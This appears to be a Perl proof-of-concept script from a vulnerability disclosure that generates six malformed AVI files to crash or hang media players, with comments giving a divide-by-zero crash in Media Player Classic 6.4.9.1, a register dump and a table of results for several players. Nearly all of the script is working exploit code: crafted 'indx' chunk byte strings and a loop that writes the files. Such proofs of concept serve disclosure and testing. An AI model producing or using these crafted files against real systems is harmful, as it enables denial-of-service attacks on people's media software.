#!/usr/bin/perl
 
# Denial Of Service discovered by yeikos - yeikos (at) gmail (dot) com
 
# [*] Divide by Zero in Media Player Classic <= 6.4.9.1 (video0.avi)
# [*] Exception caught at 0064023b div ecx
# [*] EAX:00000000 EBX:00000000 ECX:00000000 EDX:00000000
# [*] ESI:00e75230 EDI:00000000 ESP:0134f150 EBP:00000000
 
 
# Updated results of table from http://secunia.com/advisories/26806/
 
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# | produce |  video0   |  video1   |  video2   |  video3   |  video4   |  video5  |
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# | wmp     |  ok       |  ok       |  ok       |   ok      |   ok      |  ok      |  
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# | mplayer |  ok       |  ok       |  ok       |  HO/CRASH |   ok      |  ok      |
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# | mpc     |  CRASH    |  HO       |  HO       |  HO       |   ok      |  ok      |
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# |KMPlayer |  ok       | RAISE CPU | RAISE CPU | RAISE CPU |   ok      |  ok      |
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# | mympc   |  ok       |  HO       |  HO       |  HO       |   ok      |  ok      |
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# |StormPlay|  N/A      |  HO       |  HO       |  HO       |   ok      |  ok      |
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
# | xplayer |  ok       |  ok       |  ok       |   ok      |   ok      |  ok      |  
# +---------+-----------+-----------+-----------+-----------+-----------+----------+
 
my $folder = "videos";
 
@file = ("",
"\x69\x6E\x64\x78\xFF\xFF\xFF\xFF\x01\x00\x64\x73\x20\x00\x00\x10",
"\x69\x6E\x64\x78\x00\xFF\xFF\xFF\xFF\xFF\x64\x73\xFF\xFF\xFF\xFF",
"\x69\x6E\x64\x78\x00\xFF\xFF\xFF\x01\x11\x64\x73\x20\x00\x00\x10",
"\x69\x6E\x64\x78\x00\xFF\x00\x00\x01\x00\x64\x73\x20\x00\x00\x10",
"\x69\x6E\x64\x78\x00\xFF\x00\x00\x04\x00\x64\x73\x10\x00\x00\x40");
 
mkdir $folder;
 
for ($i=0;$i<=$#file;$i++) {
	open(MyFile," > $folder\\video$i.avi") or die "Opening error in file $i.\n";
	print {MyFile} $file[$i];
	close(MyFile);
}
 
# Referer: http://foro.elhacker.net/index.php/topic,180521.0.html